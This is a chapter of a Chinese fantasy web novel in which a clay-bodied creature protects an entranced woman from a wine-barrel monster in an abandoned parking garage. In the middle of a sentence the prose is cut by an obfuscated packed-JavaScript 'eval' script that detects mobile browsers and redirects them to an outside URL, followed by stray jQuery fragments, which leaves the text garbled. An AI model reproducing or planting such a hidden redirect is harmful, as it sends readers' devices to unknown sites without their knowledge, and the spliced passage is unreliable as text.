“那东西到底是什么?”
“酒桶形的异种?”
“只凭酒的气味就能让人变成这样?”
——耳边,还传来杜太太痴痴的笑声。
“不是说泽光城很安全的吗,这些鬼话真是一句都不能信!”
安霜栖的泥巴手一边扛着杜太太,一边气喘吁吁地跑。打算先远离那家店再说。
可是走过十字路口的时候,忽然——天空中闪电掠过,轰隆!
豆大的雨滴从天空上坠下,安霜栖愣住了。
“偏偏是这时候?雨具还都丢了……”
雨水令安霜栖手忙脚乱,身体本能的反应几乎比刚刚那只异种更令她觉得冷汗飙起。
她最终做出了一个无比明智的决定——把杜太太举到自己的头顶上。
庞大的身体挡住了雨水,安霜栖稍微松了半口气,但是滴在地上的雨点还是触目惊心。
她的脚试探了几下又缩回来,几乎很难再往前移动,她踮起脚尖:“不行,被水淋了的话估计更麻烦……得赶紧找个地方。”
她四下环顾。附近有些不知道是做什么的楼,大门紧锁,也不能贸然进去。
再往前走几步,安霜栖看到了一个灰暗的建筑,在夜幕里,那建筑没有灯。
似乎是一个已经废弃的立体停车库,里面黑洞洞的一辆车都没有。
只在入口处挂了一个标签:闲人免进。
安霜栖当然无视了。毕竟她不是人,所以谈不上闲人。
她举着杜太太,朝那里跑去。
在雨势变大的那一瞬,安霜栖和杜太太成功进入了这一废弃的停车场里。
“呼呼……赶上了。”
轰!雷声从背后炸响。
进入阴暗的停车场后,安霜栖扭过头——外面,正雷雨交加,倾盆大雨泻落下来。
她往后退了几步,想离雨水远一些。
“这样看一时半会是出不去了。”她说着,把杜太太放在了一个柱子旁边的地上。
杜太太被她举了半路,脸上身上都湿浸浸的,淌着不少水。
她的意识并没有恢复正常。还在咯咯咯地笑着,两眼茫然地瞪着半空中。
安霜栖在旁边喘着气,有点抱歉地看着她:“我没办法帮你擦了…而且,恐怕我们还要在这里待上一段时间。”
杜太太侧过脸,空洞的眸子对准安霜栖,那眼神非常麻木,似乎根本不认识安霜栖一样。
但这样也好……倘若她知道发生了什么,会更麻烦。
杜太太絮絮叨叨地说了些什么之后,眼睛一闭,忽然昏迷不醒了。
安霜栖观察了一下停车场外———除了雨水之外,一片沉寂,没有动静。
过了一会,她也找了个干燥的地方坐下了。
盯着地面,思绪翩翩。
方才餐厅里所见的那种血腥的场景还历历在目。
“酒桶么。”
“竟然还有这样的异种……”
“可那东西好像很厉害。”
“所以说,之前看到说大多数异种都很邪恶,果然这话是真的。但是,他为什么要那样控制人类?”
“……如果我吞下那种异种的话,我是不是能吸收很多力量?”
安霜栖心里一动,伸出自己的五指。忽然,手幻化成一团白色的泥。
上一次,吞噬人偶之后,她的力量得到了很大的提升,她的泥巴能拉得更长了,力量也更大了。
吞噬下泥巴可以获得对方的能力,那种酒……令人意识错乱吗?应该非常好用。在这个危机四伏的世界,可能能发挥很不错的效果…但是…
安霜栖叹了一口气,手又变回了原来的样子,撑在下巴上:“我凭什么觉得我可以吞噬它啊…”
“那东西又危险,又是酒。简直是天克我。”
“除非我能想到什么好的计谋……”安霜栖认真思索,闭上了眼睛。
酒也是液体。今天简直就是被液体包围的一天,雨、那餐馆里满地的血,还有酒……
——想不出来。
“最好就是远离那种东西。但愿特遣队什么的,能把它抓起来。”
安霜栖抱着自己的膝盖,一边静听周围的声音,一边等待着大雨停下的时分。
毕竟异种出现了,相比早晚人类也会发现情况。若是特遣队来了,她也得想办法尽快逃走,不能再在这地方逗留。
时间一分一秒地过去…夜色浓了。立体停车库没有玻璃,屋外的最后一丝天光也消失了。
暗淡的夜幕之中,大雨丝毫没有落下的痕迹。
杜太太也没有醒。
安霜栖等着,等得浑身僵硬。
为了让自己舒服点,她站起来,开始活动身体。她伸懒腰,背往后倒。
这个身体极其柔软,腰几乎可以直接向后弯过去。
她半仰着,视线几乎都颠倒了。
忽然!——掺杂着风声,一个黑色的圆盘状的东西,朝着她的脸砸过来!
东西太沉重了,简直像是一个巨大的铁饼!速度根本来不及躲避,正中面部中心地撞在了安霜栖的脸上!
她的脸的形状瞬间被打散了,宛如破碎的面具一样,一只眼睛和一个鼻子随着散开的皮肤分裂到了不同的方向!
……
咕隆隆,咕隆隆。
圆盘飞过来的方向,一个棕黑色的木桶出现了。
虽然很难解释,但它似乎追过来了,并且从楼梯上滚上来了。
黑色的圆盘是木桶上方的盖子。
从安霜栖离开餐厅之后,它就在寻找她的位置。一个带着人类逃走的异种,这是非常罕见的,激起了酒桶的某种仇恨的情绪。
它在大雨中搜索,最终,它来到了这里。只要距离够近的话,它能感受吸入它的酒精气体的人的反应。于是,在这一巨大建筑之外,它微弱且敏感地感受到了那个胖女人的呼吸。
所以它追上来了。却见那个奇怪的异种还在悠哉地扮演人形,它根本不想与其周旋,于是将酒桶地盖子直接砸向了她。
酒桶盖子异种沉重,砸到人的话,一定大脑开花了。而此时是正中中心,酒桶桶身发出了一丝阴恻恻的声音,液体晃动,那是它的讥笑。
只是……接下来的一幕,让它忽然凝滞了下来。
因为面前的人……似乎根本没有倒下。
安霜栖抬起了一只手,在自己七零八落的脸上揉了几下。
只是稍稍调整之后,她被打散的五官又回到了原本的位置……
——毫发无伤。
这是什么?
泥巴人?
酒桶似乎有点难以理解安霜栖的物种。
安霜栖已经修好了脸,也目视酒桶的方向。
空旷的废弃停车场之内,孤零零地矗立着一个桶。
这情景虽然怪异,然而……
不知道为什么,她觉得一切似乎没有那么可怕了。
可能因为酒桶之中的酒似乎拥有操纵人心智的力量,但安霜栖不是人,丝毫不受影响。方才餐厅里有着如同行尸走肉一般的人,那还怪吓人的。
但现在……它丢过来的盖子也无法伤害自己。只要不把酒泼到自己身上,它好像,也没那么可怕。
话说……有机会直接弄死这个酒桶吗。
安霜栖面上非常平静,其实心里却在盘算一些事。
如何杀死一只酒桶?它的力量来源于桶身之内的酒,既然它还特别有个盖子以保护自己的酒……那么,如果里面的东西全撒了的话,它是不是就完蛋了?
在酒桶似乎很愤怒地再一次丢过来它的那个沉重的盖子的时候,安霜栖的身影瞬间消失。她化为灵活的泥巴,手卷住横梁,在一秒内攀到了半空中。
泥巴伸出许多条触手,一时令人眼花缭乱。
酒桶朝一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364578|183869||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个方向追去,而这时,一条泥巴忽然出其不意地从地板上的一个缝隙里蔓延出来,来到了酒桶的后方。
安霜栖牟足了浑身的力气,朝那酒桶的桶身踹了下去!
咚!一声闷响。
酒桶现在少了顶上的盖子,它朝一边歪斜,金黄色的烈酒立刻泼洒出来,酒桶也跟着倒了下去,酒淌在地上。
酒桶倒地片刻,马上又立起来,但它看上去也慌了片刻。说明这方法有用。
可这时,暴躁的酒桶立刻旋身,一道金黄色的酒液从桶里卷出来,是安霜栖泼过来。
安霜栖马上爬回横梁上——对她做什么都可以,就是不能泼她。
而她急速的动作也引起了酒桶的疑心,顿时,气氛剑拔弩张。
……二者似乎都知道了对方的弱点是什么。
桶的盖子回到了桶上,发出了咕隆咕隆的声音。像是他的怒吼。
而安霜栖还趴在房顶横梁,一团泥巴上的两个小孔毫无忌讳地看着它。
她并不害怕。
因为局面得到了扭转。因为酒桶虽然有能够致命伤害她的能力,但在这种空旷的场地,灵活度可以发展到最大极限。
胜算的话,她觉得还是自己大一点。
因为她向来是高端的玩家。
于是,在片刻之后,安霜栖如雨一般的攻势就开始了。
她游离在天花板与横梁之上,以各种东西作为掩体,一团白白的泥巴逮到什么砸什么,砖、瓦、破旧的零件、如雨一般砸向酒桶,折磨它,拉扯它,消磨它的意志。
一面,她利用地形引酒桶上钩,好几次,她都只差一点……就掀翻了那个桶。
酒桶怒气飙升,它愤怒坏了,可是他拿跳在半空中那一团泥巴真的很没办法。泥巴太灵活了,而且酒很难泼到那种高度。
酒桶觉得自己像是被耍弄,它也被各种不致命的伤害弄得很疲倦,仿佛陷入了一个死环……
但忽然!
空旷的停车场里响起了一声人类的呓语。
酒桶与安霜栖的追逐忽然停下了,酒桶意识到了什么。
它停止对泥巴的追逐,而是转身咕隆咕隆咕隆快速地滚到柱子后面。
那位穿着粉红色衣裙的胖女人还昏睡在这里,脸上还带着如痴如醉的笑容。
哗啦——盖子从酒桶桶身飞了起来,忽然横向滑过去,悬在了女人的脖子上。
就算对泥巴人没有用——但是这沉厚的木板如同钢铁制成,人类的话,不费吹灰之力,就可以将其碾成肉泥。
它暂时没有动手,只是悬在这里,它转过半个躯体,等待着安霜栖的反应。
本来挂在一个灯架上的安霜栖远远见到这一幕,忽然浑身一冷,明白了它是什么打算。
什么?它在要挟自己…
的确,它是很可能想到这一点的。毕竟当时餐厅里那样混乱的情况下,她举着杜太太的身子从对方的眼皮子底下逃出来的。
安霜栖两眼盯着杜太太。杜太太的脸上还挂着笑容,可那‘异种’的盘形木板,已经如同一把沉重的大刀,抵在她的脖子上……
安霜栖内心在剧烈波动,但她的表面显得很平静。
她笑了一声,用两条泥巴手做出了个摊手的动作:“你喜欢就给你吧。反正这个人跟我根本就没什么关系。我本来要带她走,也只是因为她是我选定的食物而已。”
自己的话酒桶会相信吗?也许,她能拖延时间,并找到机会,反把人救出来。
可是……
看起来酒桶是没有相信的样子。
远处,鼓鼓的桶身发出了一声讥讽的声音。
它所控制的那个黑栗色的酒桶盖子劲儿忽然一松,朝杜太太的脖颈上向下掉落!
——瞬间,雪白的泥巴涌现出来,已经被拉扯到了像薄膜一样轻薄的东西,从远处猛地赶过去,在千钧一发的时分,挡下了坠落的盖子!